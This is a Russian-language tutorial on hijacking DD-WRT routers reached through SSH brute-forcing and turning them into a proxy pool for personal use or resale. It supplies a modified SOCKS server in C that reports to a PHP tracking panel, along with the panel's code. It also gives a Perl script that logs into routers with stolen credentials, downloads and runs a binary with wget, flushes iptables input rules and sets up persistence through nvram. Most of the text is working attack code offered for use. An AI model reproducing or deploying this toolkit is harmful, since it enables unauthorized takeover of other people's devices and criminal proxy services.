В 2010 году, в период тестирования SSH Bruteforce'a одним хорошим человеком, я узнал, что на Европейских диапазонах IP-адресов попадается приличное количество SSH-доступов к всевозможным роутерам. Наиболее частыми среди них оказались роутеры с MIPS-процессором и известной кастомной прошивкой DD-WRT.
Казалось бы, особой пользы с них не извлечь, но ещё тогда был предложен вариант использования их в качестве прокси. До тестирования концепции на тот момент руки не дошли, а сегодня я как раз разбирал старые архивы и решил попробовать собрать рабочий пример под подобный роутер. Благо, у меня валяется парочка таких. Стоит отметить, что поднятие прокси-серверов на роутерах также обладает всем известной спецификой, которая заключается в том, что у провайдеров часто используются динамические IP, поэтому, естественно, прокси-сервер должен сообщать свой текущий IP некой веб-админке.
В качестве прокси-сервера я остановился на Satanic Socks Server: RDot edition, но с самодельной модификацией, которая добавляет периодические веб-запросы к админке, чтобы отслеживать актуальный IP роутера. В этой реализации нет поддержки доступа по паролю (актуально, если вам необходим некий пул прокси, чисто для себя), но в более старых версиях она есть, и любой при желании сможет её добавить. Итак, немного дефайнов:
1 2 3 4 5 6 7 8 9 10 |
//Хост, где будет размещаться агрегатор прокси #define Q_HOST "sample.ru" //Адрес скрипта #define Q_URI "/in.php" //Порт #define Q_PORT 80 //Интервал между обращениями к веб-серверу (мс) #define Q_INTERVAL 5000 //Скелет веб-запроса #define Q_TPL "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" |
Метод, совершающий веб-запросы:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
void * do_request(void * junk) { char * query; SOCKET sock; struct sockaddr_in remote; struct hostent * p; while(1) { usleep(Q_INTERVAL * 1000); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock < 0) { continue; } p = gethostbyname(Q_HOST); if(!p) { continue; } memset(&remote, 0, sizeof(struct sockaddr_in)); remote.sin_family = AF_INET; remote.sin_port = htons(Q_PORT); remote.sin_addr.s_addr = *(unsigned long*)(p->h_addr); if(connect(sock, (struct sockaddr *)&remote, sizeof(struct sockaddr_in)) < 0) { continue; } query = (char *) malloc(sizeof(Q_TPL) + sizeof(Q_HOST) + sizeof(Q_URI)); sprintf(query, Q_TPL, Q_URI, Q_HOST); send(sock, query, strlen(query), 0); close(sock); free(query); } } |
Также необходимо добавить запуск потока в функцию main, который будет выполнять вышеописанную функцию (раз уж в SSS используются потоки).
1 |
pthread_create(&thread, &attr, do_request, NULL); |
Все, измененный код сокс-сервера готов.
Теперь очередь админки. Писать будем на PHP, админка будет очень простой и будет обладать следующими возможностями: запись содержимого REMOTE_ADDR в файл, вывод списка доступных прокси по паролю. Исходный код админки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
<?php error_reporting(0); //Имя файла, где будет храниться список прокси $proxy_file = 'list.txt'; //Порт прокси (прокси поднимают на одинаковом порту) $proxy_port = 11235; //Ключ для доступа к списку прокси $key = md5('123456'); $c_time = time(); //Время, после которого прокси выбрасывается из списка (мс) $life_time = 3600; if(isset($_REQUEST['add'])) { $fh = fopen($proxy_file, 'r+'); if($fh) { $is_present = 0; $proxy_list = array(); flock($fh, LOCK_EX); while(($buffer = trim(fgets($fh, 32))) !== false) { list($ip, $time) = explode(':', $buffer); if($SERVER['REMOTE_ADDR'] == $ip) { $is_present = 1; } if($c_time < $time + $life_time) { $proxy_list[] = "{$ip}:{$time}"; } } ftruncate($fh, 0); if(!$is_present) { fwrite($fh, "{$SERVER['REMOTE_ADDR']}:{$c_time}\n"); } foreach($proxy_list as $proxy) { fwrite($fh, "{$proxy}\n"); } flock($fh, LOCK_UN); fclose($fh); } } else if ( (isset($_REQUEST['pkey']) && !empty($_REQUEST['pkey']) && !is_array($_REQUEST['pkey'])) && (md5($_REQUEST['pkey']) == $key) ) { $fh = fopen($proxy_file, 'r'); if($fh) { flock($fh, LOCK_EX); while(($buffer = trim(fgets($fh, 32))) !== false) { list($ip, $time) = explode(':', $buffer); echo "{$ip}:{$proxy_port}\n"; } flock($fh, LOCK_UN); fclose($fh); } } ?> |
Чтобы файл с прокси не был доступен из веба, следует в директории с пхп-скриптом создать файл .htaccess со следующим содержанием:
1 2 3 4 |
<Files list.txt> order allow,deny deny from all </Files> |
На данном этапе перед нами стоит задача сборки прокси-сервера под MIPS архитектуру и дальнейшая загрузка получившихся бинарников на роутеры, а также прописывание их в автозапуск (вдруг роутер перезагрузится). Для сборки необходимо настроить среду кросс-компиляции. Тут можно пойти двумя путями: либо найти готовый toolchain, либо сделать его самому. Так как мне было лень что-то там собирать, то я просто скачал готовые тулчейны по адресу: ftp://dd-wrt.com/others/sourcecode/toolchains/current-toolchains.tar.bz2 и закинул их на 64-битную виртуальную машину с Ubuntu. Далее я пользовался компилятором из директории toolchain-mipsel_3.3.6*. Компилируется все без особых проблем, поэтому подробно освещать этот аспект не буду. Могут возникнуть проблемы совместимости с некоторыми роутерами, но, в принципе, никто не мешает скомпилировать несколько вариантов бинарников и реализовать несложный алгоритм определения версии прошивки и ядра ОС, а потом загружать соответствующий бинарник.
Теперь напишем простой скрипт, который будет загружать получившийся бинарник на роутер, добавлять его в автозапуск и запускать. Также скрипт будет выполнять ещё несколько полезных команд, которые необходимы, чтобы все нормально работало под DD-WRT. Для работы скрипта нам понадобится модуль Net::SSH::Perl и один из следующих модулей: Math::BigInt::GMP / Math::BigInt::Pari / Math::BigInt::BitVector. Исходный код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
use strict; use warnings; use Net::SSH::Perl; #ip:login:pass my $ifile = 'list.txt'; #Адрес, с которого будет грузиться исполняемый файл my $file_uri = 'http://sample.com/file'; #Имя, под которым загруженный файл будет сохранен my $save_name = 'smth'; #Команда запуска файла my $start_cmd = "./$save_name 'ps'"; $| = 1; my @cmds = ( #Скачиваем файл и сохраняем в /tmp/ 'wget '.$file_uri.' -O /tmp/'.$save_name, #Выставляем права 'chmod +x /tmp/'.$save_name, #Сбрасываем правила фильтрации входящего трафика '/usr/sbin/iptables --flush INPUT', #Запускаем файл '/tmp/'.$start_cmd, #Прописываем в автозапуск '/usr/sbin/nvram set rc_startup="/tmp/'.$start_cmd.'"', '/usr/sbin/nvram commit' ); open F, '<', $ifile or die $!; while(<F>) { chomp(my $line = $_); my($ip, $login, $pass) = split /[:;]/, $line; if($ip && $login && $pass) { my $ssh = Net::SSH::Perl->new($ip, protocol => 2); eval { $ssh->login($login, $pass); }; unless($@) { print '[+]', $login, ':', $pass, $/; $ssh->cmd(join ';', @cmds); } else { print '[-]', $login, ':', $pass, $/; } } else { print 'Malformed line', $/; } } close F; print 'Done', $/; |
Абсолютные пути в массиве @cmds обусловлены особенностью устройства модуля Net::SSH::Perl. При исполнении очередной команды он как бы не дожидается возврата управления консоли и исполняет очередную команду в отдельном "инстансе".
Комплект готов, теперь любой из Вас сможет с пользой утилизировать добытые доступы к роутерам и, может быть, организовать свой сервис по продаже прокси.
Исходные коды: скачать